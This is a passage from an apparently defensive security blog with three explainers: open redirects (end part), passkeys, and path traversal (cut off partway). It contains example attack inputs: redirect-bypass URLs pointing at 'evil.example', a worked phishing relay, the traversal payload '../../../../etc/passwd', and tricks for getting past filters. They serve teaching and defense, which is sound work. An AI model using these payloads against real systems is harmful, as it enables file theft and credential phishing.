4. **Lock down OAuth redirect URIs.** Pre-register exact redirect URIs and match them strictly, including path, with no wildcard host segments.
5. **Show an interstitial for unavoidable external redirects.** Where a redirector genuinely must reach third-party URLs, route through a page that displays the full destination and requires a deliberate click, breaking the silent hand-off phishing relies on.
6. **Sanitize DOM sinks.** In client-side code, never assign a URL read from `location`, the query string, or the fragment directly to `location` or `window.open` without the same allowlist check.
Never decide a redirect is safe by searching the raw parameter for your domain name. Parse the value with a proper URL parser, read the resolved host, and compare that host to your allowlist. The vulnerability lives precisely in the gap between naive string matching and how the browser actually resolves the address.
## A worked example of the phishing relay
Follow a single lure from craft to compromise to see why the redirect is the load-bearing part.
An attacker wants credentials for users of a trusted service. They find that the service's login flow accepts a `next` parameter and redirects to whatever it contains after authentication, including full external URLs. They register a lookalike domain and build a copy of the login page there. Then they construct the lure link so that it begins with the trusted service's own domain, carries the login path, and places their lookalike URL in the `next` parameter. The visible start of the link is the real, trusted brand.
They send this link in an email styled as a routine notice from the service. The recipient glances at the link, sees the familiar domain at the front, and trusts it. The organization's email security gateway scores the link partly on the reputation of the host it points at, sees a well-established, trusted domain, and delivers the message. Both the human and the filter judged the link by its starting domain, and both were satisfied.
The victim clicks. Their browser goes to the trusted service, which processes the request and then honors the `next` parameter by redirecting the browser onward to the attacker's lookalike page. The address bar may flash the trusted domain before landing on the copy. The victim, having started at a domain they trust, sees a login page that matches what they expect and enters their password. The credentials go to the attacker. The trusted service was never compromised. It contributed only one thing: the redirect that let the attacker begin the journey under a trusted name. Remove the redirect and the lure has to start on the attacker's own unknown domain, where both the human and the filter are far more likely to reject it.
Nothing about the vulnerable page is damaged, and no data leaks from it directly. Its entire contribution to the attack is lending its reputation to the front of a link. That is why open redirects are dangerous in proportion to how trusted the hosting domain is, and why a redirect on a bank, a government portal, or a widely used platform is worth far more to an attacker than the low severity score usually assigned to it.
## The bypass techniques in detail
The reason blocklist-style validation fails is worth understanding precisely, because each bypass exploits a difference between how a naive check reads a string and how a browser resolves an address. Consider a check that tries to confirm the destination belongs to `your-app.example`.
- **Substring and lookalike hosts.** A check that asks whether the destination contains the string `your-app.example` passes `https://your-app.example.evil.example/`, where the real registrable domain is `evil.example` and the brand is merely a subdomain label. It also passes `https://your-app-example.evil.example/`, where the brand appears with a hyphen. The browser resolves both to the attacker's site.
- **The credential syntax.** A URL of the form `https://your-app.example@evil.example/` is parsed by the browser with everything before the at-sign treated as a userinfo component and `evil.example` as the actual host. A check that looks for the brand near the start of the string is fooled, because the brand really is near the start, just in the wrong role.
- **Protocol-relative URLs.** A value like `//evil.example/path` has no scheme. A browser resolves it against the current page's scheme and navigates to `evil.example`. A check that only rejects strings starting with `http` lets it through, because it does not start with `http`.
- **Encoding and normalization gaps.** Percent-encoding, backslashes that some parsers treat as forward slashes, doubled slashes, and mixed-case schemes all create forms that a validator may normalize one way and the browser another. Wherever the two normalizations differ, a bypass lives in the gap.
- **Whitelisted-prefix confusion.** A check that a value starts with an allowed path such as `/redirect` can be defeated by `/redirect/../..//evil.example` style tricks or by values that are paths to the check but resolve as network locations to the browser.
The unifying point is that string inspection of a URL is not the same as parsing it. The only reliable approach is to parse the value with a real URL parser, read the resolved host, and compare that host to an allowlist, which is what the defenses below build on.
## Detection signals
Open redirects can be found in code and watched for in traffic.
- **Redirect responses whose destination came from input.** In code review and dynamic testing, the signature is a response that sets the browser's location to a value derived from a request parameter, cookie, or fragment without an allowlist check. Any handler that echoes a user-supplied URL into a location header deserves scrutiny.
- **Generic redirect parameter names.** Parameters like `url`, `next`, `return`, `returnUrl`, `dest`, `redirect`, `continue`, and `r` are the usual carriers. Inventorying every place these appear and checking how each is validated finds most instances.
- **Location headers pointing off-domain.** In traffic monitoring, redirect responses from your application that send users to external hosts are worth logging and reviewing, especially from authentication and callback endpoints that should only ever redirect internally.
- **DOM sinks fed by the URL.** Client-side code that reads from the query string, the fragment, or the current location and assigns the value to the page location or opens a window with it is the DOM-based form. Static analysis for these sinks surfaces the browser-side variant.
- **Spikes of outbound redirects to a new host.** A sudden rise in redirects steering users to a freshly seen external domain can indicate a live phishing campaign abusing an existing open redirect.
## How open redirect compares to related web flaws
Open redirect is one of several weaknesses that abuse trust in a URL or a host, and separating them clarifies which fix applies.
| Flaw | What the attacker controls | Who gets sent where | Primary impact |
|---|---|---|---|
| Open redirect (CWE-601) | The destination of a client redirect | The victim's browser, to an external site | Phishing credibility, token leakage in auth flows |
| Server-side request forgery | The destination of a server-side request | The server, to an internal or chosen host | Access to internal services and metadata |
| Host header injection | The host value the application trusts | The application's own generated links | Poisoned links, cache and password-reset abuse |
| Cross-site scripting | Script that runs in the victim's page | The victim's browser executes attacker code | Session theft, full client-side compromise |
The distinctions matter because the defenses do not transfer cleanly. An open redirect steers the victim's browser outward, so the fix is an allowlist of permitted destinations resolved server-side. Server-side request forgery steers the server, so the fix constrains where the server may connect, covered in [SSRF explained](/ssrf-explained). Host header injection abuses the host the application trusts when building its own URLs, addressed in [host header injection explained](/host-header-injection-explained). Grouping these as trust-abuse flaws is useful for reasoning about an application's attack surface, and keeping their fixes distinct is what actually closes each one. An open redirect chained into an authentication flow can also feed the others, for example by delivering a victim to a page that then attempts a cross-site attack, which is why closing the redirect removes a stepping stone as well as a standalone risk.
## Common mistakes
- **Treating the finding as purely informational.** Because the vulnerable page leaks nothing directly, open redirects are often closed as low priority and left in place. Judged by what they enable, a redirect on a high-trust domain is a premium phishing asset, and the trust it borrows is exactly what makes the low severity score misleading.
- **Blocklisting instead of allowlisting.** Trying to enumerate bad destinations, or to confirm the brand appears in the string, loses to the bypasses above. Allowlisting the small set of destinations you actually permit is the model that holds.
- **Validating with string operations rather than a parser.** Checking prefixes and substrings reads the URL differently from the browser. Parsing and comparing the resolved host removes that gap.
- **Forgetting the client side.** Server-side validation does nothing for a DOM-based redirect where JavaScript reads the fragment and assigns it to the location. The same allowlist discipline has to apply in the browser.
- **Wildcarding OAuth redirect URIs.** Loosely matching pre-registered redirect URIs, especially with wildcard host segments, reintroduces the flaw in the exact place it does the most damage, by leaking authorization codes or tokens.
## How the problem evolved
Open redirects have been recognized as a web weakness for a long time, cataloged as CWE-601 and covered by OWASP guidance on unvalidated redirects and forwards. Their prominence has tracked the rise of email and messaging security filters that score links by destination reputation. As those filters improved at blocking links to known-bad domains, attackers needed a way to launder their links through a trusted host, and open redirects on reputable domains became the tool for it. The technique also grew alongside federated login. OAuth and single sign-on flows carry secrets to a redirect URI, so a redirect that can be steered to an attacker origin turned from a phishing aid into a token-theft primitive, which is why the specifications insist on strictly pre-registered redirect URIs. The client-side variant emerged as applications moved logic into the browser, moving the same flaw into DOM sinks. The defensive consensus has settled on allowlists resolved from opaque keys and on parsing rather than string matching, because every attempt to filter destinations by inspecting the raw string has been outpaced by bypasses.
## Frequently asked questions
**Is an open redirect really a serious vulnerability?**
On its own it leaks nothing from the vulnerable page, which is why it is often rated low. Its seriousness comes from what it enables: laundering phishing links through a trusted domain and, in authentication flows, leaking tokens. On a high-trust domain it is a valuable attack asset.
**Why does the trusted domain matter so much?**
Both people and email filters judge a link partly by the domain at its start. A redirect on a reputable domain satisfies both, so the malicious destination hidden in a parameter passes checks that would stop a link pointing straight at the attacker.
**Why not just check that the destination contains our domain?**
Because a browser resolves a URL differently from a substring check. Subdomain tricks, the at-sign credential syntax, protocol-relative URLs, and encoding gaps all produce strings that contain your brand yet resolve to an attacker's host. Parse the URL and compare the resolved host instead.
**What is the most robust fix?**
Accept an opaque key rather than a URL, and look up the real destination server-side from a fixed table of approved targets. The attacker never controls the URL, only which approved entry is selected, so no bypass on the URL string is possible.
**How is a DOM-based open redirect different?**
It lives in client-side JavaScript that reads a value from the URL, query string, or fragment and assigns it to the browser location. The flaw is the same, but it runs in the browser, so it needs the allowlist check applied client-side, not only on the server.
**What does an open redirect have to do with OAuth?**
Authorization flows deliver codes or tokens to a redirect URI. If that target can be steered to an attacker origin, the secrets can leak. This is why OAuth requires strict, pre-registered redirect URIs matched exactly, with no wildcard hosts.
**If we must redirect to external sites, what reduces the risk?**
Route external hops through an interstitial page that shows the full destination and requires a deliberate click, which breaks the silent hand-off phishing relies on. Combine it with strict URL parsing. This reduces the risk without fully removing it, so reserve external redirects for cases that genuinely need them.
Open redirects trade on trust you spent years building, and they hand it to whoever crafts the link. Attackers hunt for them specifically because a redirect on a reputable domain makes their phishing convert. To see how these trust-abuse techniques fit into the wider exploitation landscape, our Exploit Intelligence dashboard tracks the methods and campaigns in active use. Stop redirecting to raw input, resolve destinations from an allowlist, and gate any unavoidable external hop behind a visible warning, and your domain stops working for the attacker.
## Related guides
- [What Is Phishing](/what-is-phishing)
- [Host Header Injection Explained](/host-header-injection-explained)
- [SSRF Explained](/ssrf-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Unvalidated Redirects and Forwards Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
- PortSwigger Web Security Academy: DOM-based open redirection (PortSwigger): https://portswigger.net/web-security/dom-based/open-redirection
- MITRE CWE-601: URL Redirection to Untrusted Site (Open Redirect) (MITRE): https://cwe.mitre.org/data/definitions/601.html
---
## Passkeys Explained: Phishing-Resistant Passwordless Login
> What passkeys are, how they log you in without a password, why they resist phishing, and where adoption stands, in plain language.
- URL: https://blog.pwnsy.com/passkeys-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: beginner
- Category: web-security
- Tags: passkeys, passwordless, fido, authentication, phishing
- Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification)
### TL;DR
- A passkey is a cryptographic key pair that replaces a password. Your device keeps a private key, the website keeps a public key, and login proves you hold the private key without ever sending a secret.
- Passkeys resist phishing because the private key is bound to the real site's domain. A lookalike phishing page cannot trigger a valid signature.
- You unlock the passkey locally with your face, fingerprint, or device PIN. That biometric never leaves your device and is not sent to the website.
- Passkeys sync across your devices through your platform account, and every major operating system and browser now supports them.
### Key Takeaways
- Passkeys are built on the FIDO2 and WebAuthn standards, the same public-key foundation used by hardware security keys.
- There is no shared secret to steal, so a breach of the website leaks only public keys, which are useless to an attacker.
- Domain binding is the property that defeats phishing. The browser and authenticator only sign for the origin that created the passkey.
- Synced passkeys favour convenience and recovery, while device-bound passkeys on hardware keys favour the highest assurance.
- Passkeys can replace both the password and the second factor, because the login is already two factors: something you have and something you are or know.
Passwords have failed slowly and then all at once. People reuse them, attackers phish them, and a single leaked database can unlock accounts across the web. Passkeys are the industry's answer, and unlike most password replacements before them, they are backed by every major platform vendor and are already in your phone and laptop. This guide explains what a passkey actually is, how the login works, why it stops phishing where passwords cannot, and where things stand today.
## What a passkey is
A passkey is a pair of cryptographic keys tied to one website or app. When you create a passkey, your device generates two mathematically linked keys. The **private key** stays on your device, protected by hardware and never shared. The matching **public key** goes to the website and gets stored on its server.
The public key is not a secret. It can verify a signature, but it cannot create one, and it cannot be reversed into the private key. So even if the website is breached and every public key it holds is stolen, an attacker gains nothing they can log in with. This is the structural difference from passwords. There is no shared secret sitting on the server waiting to be stolen and replayed. For the signing mechanism underneath, see [How Digital Signatures Work](/how-digital-signatures-work).
## How the login works
The passkey login is a challenge and response, and the whole exchange takes a fraction of a second.
1. You start to sign in. The website sends your device a random **challenge**, a one-time chunk of data.
2. Your device asks you to confirm with your face, fingerprint, or device PIN. This unlocks the private key locally.
3. The private key **signs** the challenge, producing a signature.
4. Your device sends the signature back. The website verifies it against your stored public key.
5. If the signature checks out, you are in.
Notice what never crosses the network: the private key and your biometric. The biometric only unlocks the key on your own device; it is not transmitted and the website never sees it. What travels is a signature over a one-time challenge, which is useless to replay because the next login uses a fresh challenge.
The fingerprint or face scan a passkey asks for is a local unlock, not a login credential sent to the site. It releases the private key from your device's secure hardware. The website only ever receives a signature, so a breach of the site cannot expose your biometrics.
## The WebAuthn ceremony in detail
The plain description above is accurate, but it hides some machinery worth understanding, because that machinery is exactly what makes the phishing resistance work. WebAuthn defines two ceremonies. Registration creates a passkey, and authentication uses it. Three parties take part in each.
The **relying party** is the website or app you are signing in to, plus its server. The **client** is your browser or operating system, which runs the WebAuthn logic and enforces the origin checks. The **authenticator** is the thing that actually holds the private key: the secure enclave in your phone or laptop, or an external security key. When the authenticator is external, the client talks to it using a companion protocol called CTAP, the Client to Authenticator Protocol, over USB, NFC, or Bluetooth. WebAuthn and CTAP together make up FIDO2.
### Registration: creating the passkey
Registration is the ceremony that generates the key pair and hands the public half to the server. It runs roughly like this.
1. The server generates a random challenge and sends it to the client along with the relying party identifier, usually the site's registrable domain, and a user handle that identifies your account without revealing your email.
2. The browser calls the authenticator with a `navigator.credentials.create` request. Before it does, it records the true origin it is running on and the type of request. This bundle is called the client data.
3. The authenticator asks you to confirm presence and identity with a tap, a fingerprint, or a PIN. This is user verification, and it proves a human is present rather than a script.
4. The authenticator generates a fresh key pair scoped to that relying party identifier, stores the private key, and returns the public key together with a credential identifier and, optionally, an attestation statement.
5. The server stores the public key, the credential identifier, and a signature counter against your account.
The relying party identifier is the anchor for everything that follows. A passkey created for `bank.example` records `bank.example` as its scope, and the authenticator will refuse to use it for any other origin. That single rule is the seed of the phishing resistance.
### Authentication: using the passkey
Authentication is the ceremony you run every time you log in afterwards.
1. The server sends a fresh random challenge and, optionally, a list of credential identifiers it will accept.
2. The browser calls `navigator.credentials.get`. It builds the client data again, embedding the real origin, the challenge, and the request type.
3. The client checks that the relying party identifier the site claims actually matches the origin in the address bar. If they do not match, the ceremony stops here and no signature is ever produced.
4. The authenticator verifies you locally, then signs a payload made of two parts joined together: the authenticator data (which includes a hash of the relying party identifier and an incrementing counter) and a hash of the client data.
5. The server verifies the signature with your stored public key, confirms the challenge is the one it issued, confirms the relying party hash matches, and checks that the signature counter has moved forward rather than backward.
Because the client data that gets signed contains the real origin, the server can detect a mismatch even in the rare case that a malicious client tried to lie about it. The origin is not a claim the attacker controls after the fact. It is baked into the signed bytes.
Each authenticator keeps a counter that ticks up on every signature. The server stores the last value it saw. If a login ever arrives with a counter lower than or equal to the stored one, that is a sign the credential may have been copied onto a second device, and the server can reject the login or flag the account. Synced passkeys often report a zero counter by design, so this signal applies mainly to device-bound authenticators.
### A worked example
Picture signing in to an email provider that you registered a passkey with last month. You type the address of the site and click sign in. The server picks a 32 byte random challenge and sends it down with its relying party identifier. Your browser confirms the identifier matches the domain in the address bar, then prompts you for a fingerprint. The secure enclave releases the private key for that one site, signs the authenticator data and the client data hash, and returns a short blob. The server looks up your public key by the credential identifier, verifies the signature, sees the challenge is fresh and the counter has advanced, and drops a session cookie. The entire round trip is one fingerprint touch and well under a second of computation. At no point did a reusable secret exist that a bystander, a breached database, or a lookalike page could capture.
## Why passkeys resist phishing
Phishing works against passwords because a password is a portable secret. If an attacker builds a page that looks like your bank and you type your password in, the attacker now has that secret and can use it on the real site. Nothing about the password knows which site it was meant for.
A passkey does know. When it is created, it is bound to the website's **origin**, its exact domain. At login, the browser and the authenticator only produce a signature for the origin that owns the passkey. If you land on `bank-login.example.com` instead of the real `bank.example`, the passkey for the real domain simply will not fire. There is no matching credential, so there is nothing to hand over.
This is why passkeys are called phishing-resistant. The protection is not a filter that tries to spot fake sites. It is structural: the credential is cryptographically tied to the legitimate domain, and a lookalike domain cannot coax a valid signature out of it. Against the phishing techniques covered in [What Is Phishing](/what-is-phishing), that binding removes the entire attack.
## Passwords versus passkeys
| Property | Password | Passkey |
|---|---|---|
| Stored on server | A hash of a shared secret | A public key only |
| Value if server is breached | High: hashes can be cracked and reused | None: public keys cannot log in |
| Phishing resistance | None: the secret is portable | Strong: bound to the real domain |
| Reuse across sites | Common and dangerous | Impossible: each site gets its own key |
| What you do to log in | Recall and type a string | Confirm with biometric or PIN |
| Second factor needed | Yes, to be safe | No: the passkey is already multi-factor |
The last row is worth dwelling on. A passkey login already combines something you have (the device holding the private key) with something you are or know (the biometric or PIN that unlocks it). That makes it multi-factor by construction, which is why a passkey can replace both the password and the separate second-factor step described in the [Two-Factor Authentication Guide](/two-factor-authentication-guide).
## Synced versus device-bound passkeys
Passkeys come in two flavours, and the difference is about where the private key can live.
**Synced passkeys** back up and sync through your platform account, such as your Apple, Google, or Microsoft account, usually end-to-end encrypted. The upside is recovery and convenience: lose your phone, and your passkeys are still available on your other devices. The trade-off is that their security now leans on the account that syncs them.
**Device-bound passkeys** never leave the piece of hardware that created them, typically a physical security key. The upside is the highest assurance, since the key cannot be copied off the device. The trade-off is that there is no automatic recovery, so you register a backup key. For choosing hardware, see [Best Hardware Security Keys](/best-hardware-security-keys).
For most people, synced passkeys are the right default. For high-value accounts and administrators, device-bound keys on dedicated hardware raise the bar further.
Whichever flavour you use, enrol at least two authenticators per important account, for example your phone plus a hardware key, and keep one recovery method. Passkeys remove the password, so account recovery becomes the thing you must plan for deliberately.
## Where adoption stands
Passkeys are past the pilot stage. Apple, Google, and Microsoft all support them across their operating systems and browsers, and passkeys sync through each vendor's account system. A large and growing list of consumer services, from email providers to retailers to developer platforms, now let you sign in with a passkey. The underlying standards, WebAuthn from the W3C and FIDO2 from the FIDO Alliance, are stable and broadly implemented, which is what lets a passkey created on one platform work through a shared model rather than a proprietary one. For the standard itself, see [WebAuthn Explained](/webauthn-explained).
The remaining friction is mostly about the edges: account recovery flows, moving passkeys between ecosystems, and helping users understand a login that no longer involves typing anything. These are being worked on, and none of them undermine the core security gain.
Attackers are adapting too, mostly by targeting the fallback paths rather than the passkey itself. Our Exploit Intelligence dashboard tracks live vulnerabilities in authentication and account-recovery components, so you can see where the real pressure is landing as passwordless login spreads.
## What passkeys do not fix
It helps to be precise about the boundary. Passkeys make the login step phishing-resistant, and that is a large gain, but a login is only one part of an account's security. Three areas stay your responsibility.
Account recovery is the big one. Remove the password and the "reset your password" flow no longer exists, so whatever you put in its place, an email link, a recovery code, a support process, becomes the weakest path into the account. Attackers know this and increasingly aim there rather than at the passkey. Design recovery to be as strong as the passkey login it backs up.
Session security is another. Once a passkey logs you in, the session that follows is an ordinary session with an ordinary token, and it can still be stolen through malware or a hijacked cookie. Passkeys protect the front door, not the whole house.
And device trust matters. A synced passkey is only as safe as the platform account it syncs through and the devices that account reaches. Securing that account, ideally with its own strong authentication, is part of the picture rather than an afterthought.
None of this diminishes the core win. It just means passkeys are a strong login, deployed alongside the rest of your account security rather than in place of it.
## How passkeys compare to other login methods
Passkeys are one point on a spectrum of ways to prove who you are. Ranking them against the common alternatives makes the trade-offs concrete.
| Method | Phishing resistant | Secret on server | Works offline | Main weakness |
|---|---|---|---|---|
| Password only | No | Hash of a shared secret | Yes | Reuse, cracking, phishing |
| SMS one-time code | No | The phone number of record | No | SIM swap and interception (MITRE T1111) |
| Authenticator app (TOTP) | No | A shared seed | Yes | Real-time relay to a fake page |
| Push approval | Partly | A registration record | No | Approval fatigue (MITRE T1621) |
| Magic email link | No | Nothing durable | No | Mailbox takeover, link relay |
| Security key (FIDO U2F) | Yes | A public key | Yes | Carrying and recovery |
| Passkey (FIDO2) | Yes | A public key | Yes | Recovery flow, account sync trust |
The pattern in the table is clear. Every method that keeps a shared secret, whether it is a password, a TOTP seed, or a code sent over the network, can be relayed or replayed by an attacker who tricks the user in real time. A modern phishing kit sits between the victim and the real site, forwards the one-time code the moment it is typed, and steals the resulting session. Passkeys and the U2F security keys they descend from break that pattern because the browser refuses to sign for the wrong origin, so there is no code to forward in the first place.
## How passkeys evolved
Passkeys did not appear from nothing. The FIDO Alliance published its first specifications in 2014, one for a passwordless flow and one, called U2F, for a second-factor security key. U2F worked and shipped, mostly as physical keys that you plugged in after typing a password. Its ceiling was adoption: a spare piece of hardware is a hard sell for the average person, and losing it meant a painful recovery.
The next step folded that model into the web platform. WebAuthn became a W3C standard, browsers built it in, and the combination of WebAuthn plus CTAP was named FIDO2. Now any website could invoke a security key or a platform authenticator through a standard browser API, with no plugin.
The final step, the one that produced the word passkey, was making the credential recoverable. Early FIDO credentials were bound to one device, which meant a lost phone was a lost credential. The platform vendors added end to end encrypted sync so a credential could back up to your account and reappear on your other devices. A credential that can move like this is a multi-device credential, and the marketing name for it, agreed across the industry, is passkey. That single change is what took the technology from a security enthusiast's tool to something a phone maker could turn on for a billion people.
## Detection and monitoring for defenders
If you run a service, passkeys change what your logs should watch for. Because the login step itself is hard to attack, the useful signals move to the edges of the flow.
- **Counter regressions.** A signature counter that fails to advance on a device-bound authenticator suggests a cloned or exported credential. Alert on it and consider forcing re-enrolment.
- **Recovery path spikes.** A surge in password resets, recovery-code use, or support-driven account resets is the sign that attackers have shifted to the fallback rather than the passkey. Rate limit and add friction to recovery, since that is now the weakest door (CWE-640, weak password recovery mechanism).
- **New authenticator enrolment.** Treat adding a passkey as a sensitive action. Require a fresh user verification, notify the account owner out of band, and log the origin and device details.
- **Fallback downgrade attempts.** Watch for sessions that skip the passkey and fall back to a password or a one-time code from unusual locations. Attackers who cannot beat the passkey will try to force a weaker method (MITRE T1556, modify authentication process).
- **Session anomalies after login.** A valid passkey login followed by a session used from a second network or device may indicate a stolen session token rather than a defeated passkey (MITRE T1539, steal web session cookie).
The theme is consistent. Once the front door is a passkey, your monitoring budget belongs on recovery, enrolment, and session handling.
## Common misconceptions
A few beliefs about passkeys come up again and again and deserve correcting.
**"My fingerprint is sent to the website."** It is not. The biometric is a local unlock for the private key and never leaves the device. The site receives a signature, and nothing else.
**"If I lose my phone, I lose my accounts."** For synced passkeys, the credential is backed up to your platform account and reappears on your other devices, so a lost phone is an inconvenience rather than a lockout, provided you enrolled a backup and can still reach your account.
**"A passkey is just a password stored in my browser."** A stored password is still a shared secret that can be phished or leaked. A passkey is a private key that never leaves your device and never travels to the server, so there is nothing on the server to steal and nothing to type into a fake page.
**"Passkeys mean I no longer need a second factor."** The passkey already is two factors, something you have and something you are or know, so a separate second step is redundant for the login itself. The care you used to spend on a second factor now belongs on account recovery.
**"Passkeys make my account unhackable."** They make the login step phishing-resistant. Session theft, malware on your device, and weak recovery flows remain real, so passkeys are one strong layer among several (CWE-287, improper authentication, covers the login, not the whole account).
## Frequently asked questions
**Can two people share one passkey?** Not cleanly. A passkey is bound to the authenticator that created it and, for synced passkeys, to one person's platform account. Shared access is better handled with separate passkeys per person and role-based access on the service, rather than by copying a credential.
**What happens if a website is breached?** The attacker gets public keys, which cannot log in and cannot be reversed into private keys. There is no password hash to crack and no secret to replay. The breach still matters for other data the site holds, but your login credential is not exposed (CWE-522, insufficiently protected credentials, is the class of problem passkeys avoid on the server side).
**Do passkeys work across different brands of device?** Yes, through the shared standard. A passkey created on one platform can be used on another device by scanning a QR code and approving on your phone over a local Bluetooth check, which confirms the two devices are physically near each other. Moving a passkey's storage between ecosystems is still maturing, but using one across devices already works.
**Are passkeys safe if my phone is stolen?** The thief still needs your biometric or device PIN to unlock the passkey, and modern devices rate limit and lock after failed attempts. Set a strong device unlock and enable remote wipe. The private key sits in secure hardware that resists extraction even with the phone in hand.
**Can I still use a password as a backup?** You can, and many people keep one during the transition. Be aware that leaving a password enabled preserves a phishable path into the account, so for high-value accounts the goal is to remove or tightly restrict the password once your passkeys and recovery are solid.
**Do passkeys require an internet connection?** The signing happens locally on your device, so the cryptography itself is offline. You still need connectivity to reach the website and complete the login, the same as any online sign-in.
**How is a passkey different from a hardware security key?** A hardware security key is one kind of authenticator, usually device-bound, that holds FIDO credentials on a physical token. A passkey is the same underlying credential, more often synced through a platform account and stored in your phone or laptop. A hardware key can hold a passkey, and for the highest assurance many people use both.
## Getting started
The practical path is simple. On accounts that offer it, add a passkey from the security settings. Keep the password in place at first as a fallback while you get comfortable, then remove or lock it down once your passkeys and backups are in order. Enrol a second authenticator so a lost device is an inconvenience rather than a lockout. That is most of the work, and it moves your most important accounts onto a login that a phishing page cannot defeat.
## Related guides
- [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys)
- [WebAuthn Explained](/webauthn-explained)
- [Two-Factor Authentication Guide](/two-factor-authentication-guide)
- [Best Hardware Security Keys](/best-hardware-security-keys)
- [What Is Phishing](/what-is-phishing)
### Sources
- Passkeys Overview (FIDO Alliance): https://fidoalliance.org/passkeys/
- Web Authentication: An API for accessing Public Key Credentials (WebAuthn Level 2) (W3C): https://www.w3.org/TR/webauthn-2/
- OWASP: Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
---
## Path Traversal: Directory Traversal, LFI & Canonicalization
> How ../ sequences escape an intended directory to read arbitrary files, why canonicalization matters, and how allowlists stop path traversal.
- URL: https://blog.pwnsy.com/path-traversal-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: path-traversal, web-security, owasp, lfi, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Path traversal lets an attacker supply a filename containing ../ sequences to escape the directory an application meant to confine them to, reaching arbitrary files.
- The impact runs from reading sensitive files like configuration and credentials to, in some setups, writing files or including code (local file inclusion).
- Filtering ../ by simple string replacement fails, because encodings, absolute paths, and nested sequences all bypass it.
- The robust fix is to canonicalize the resolved path and confirm it stays inside an allowed base directory, ideally combined with mapping user input to known-safe filenames.
### Key Takeaways
- The ../ sequence means parent directory, so each one climbs one level up the filesystem, escaping the intended folder when the application trusts the input.
- Canonicalization resolves a path to its true absolute form, which is what lets you reliably check whether it still lives under the allowed base.
- Blocklisting ../ is fragile: URL encoding, double encoding, absolute paths, and platform-specific separators evade it, so allowlisting is the durable control.
- Local file inclusion is path traversal that reaches code the server then executes or includes, turning file read into code execution in some stacks.
- The strongest pattern avoids user-controlled paths entirely by mapping an identifier to a fixed, server-side filename.
An application that serves files from a folder based on a name in the request is making a quiet assumption: that the name refers to a file inside that folder. Filesystems do not enforce that assumption. A filename can point up and out of the intended directory using the parent-directory sequence, and if the application passes the user's name straight to the filesystem, an attacker can walk out of the box and read whatever the process can reach. That is path traversal, also called directory traversal.
It is one of the oldest web vulnerabilities and still one of the most common, because file handling shows up everywhere: downloads, template loading, image serving, log viewers, avatar storage, report generation. Every one of those is a place where a filename crosses from the user into a filesystem call, and every one is a potential traversal bug.
## The core mechanism
Suppose an application serves user manuals from a fixed directory and builds the path by appending the requested filename:
```
/var/www/manuals/ +
```
Ask for `intro.pdf` and it reads `/var/www/manuals/intro.pdf`. Ask for this instead:
```
../../../../etc/passwd
```
and the path becomes `/var/www/manuals/../../../../etc/passwd`. Each `../` climbs one directory up. Enough of them reach the filesystem root, and the trailing `etc/passwd` then descends to a sensitive file far outside the manuals folder. The application meant to expose a directory of PDFs. It exposed the whole filesystem, read-only, to the extent its process account has access.
The `..` entry is a real filesystem feature meaning "the parent directory." It exists so that relative paths can move around a tree. Path traversal is just an attacker using that feature against an application that assumed the user would only ever move downward.
The assumption is easy to make and hard to notice. In development, a filename really is just the name of a file in the expected folder, because the developer only ever types well-behaved names. Nothing in the code visibly says "the user may only descend." That rule lives entirely in the developer's head, and the filesystem was never told about it. An attacker who supplies a name the developer never tried is not breaking a rule the code enforces. They are exposing that the code enforced no rule at all.
## What the impact looks like
| Outcome | Description |
|---|---|
| Sensitive file read | Configuration files, credentials, source code, private keys, session data |
| Information disclosure | Server details that inform a follow-up attack |
| Local file inclusion (LFI) | The read file is then included or executed by the server, reaching code execution |
| File write / overwrite | In upload flows, a traversal path can place a file outside the intended directory |
Local file inclusion deserves a note. In stacks where the application both reads a file and includes and runs it, a traversal that reaches an attacker-influenced file (an uploaded avatar, a log the attacker can poison) can turn file read into code execution. That is why traversal in a file-inclusion context is more dangerous than traversal in a plain download endpoint, and why it sits close to [command injection](/command-injection-explained) on the severity scale.
## Why naive filtering fails
The obvious defense is to strip `../` from the input. Attackers have several reliable ways around a naive strip:
- **URL and double encoding.** The sequence can be written percent-encoded, or double-encoded so that one decoding pass leaves a still-encoded `../` that a later stage decodes. A filter that ran before the final decode never sees the real sequence.
- **Absolute paths.** If the code appends input to a base but the filesystem treats the input as absolute, an absolute path can ignore the base entirely.
- **Nested sequences.** Removing `../` once from a string like `....//` leaves `../` behind, defeating a single-pass replace.
- **Platform separators.** Different operating systems accept different path separators, so a filter tuned for one may miss another.
The pattern is familiar from every injection class: blocklisting the bad thing loses to an attacker who has many spellings of the bad thing. The fix has to work on the resolved meaning of the path, not its surface text.
A related trap is validating too early in a multi-stage pipeline. Input often passes through several layers before it reaches the filesystem: a web framework decodes it once, application code may decode or normalize it again, and the operating system does its own resolution when the file is opened. A check that runs at the first stage inspects a string that no longer matches what the last stage will act on. Each decoding pass can reveal a sequence the previous check could not see. The only stage whose view of the path is authoritative is the one immediately before the file is opened, which is exactly why the containment check belongs there and nowhere earlier.
The mistake that keeps path traversal alive is checking the input before the system resolves it. By the time the operating system opens the file, encodings have been decoded, sequences collapsed, and symlinks followed, and the real target may be nothing like the string you inspected. Always resolve the path to its canonical absolute form first, then check that the canonical result still sits under your allowed base directory. Validate what the filesystem will actually open, not what the user typed.
## Canonicalization and the containment check
Canonicalization is the act of reducing a path to its one true absolute form: decoding it, resolving every `.` and `..`, and following symbolic links. Once you have the canonical path, you can make a reliable decision, because there is nothing left to reinterpret.
The containment check is then simple to state:
1. Take the user input and join it to your fixed base directory.
2. Canonicalize the result to an absolute path.
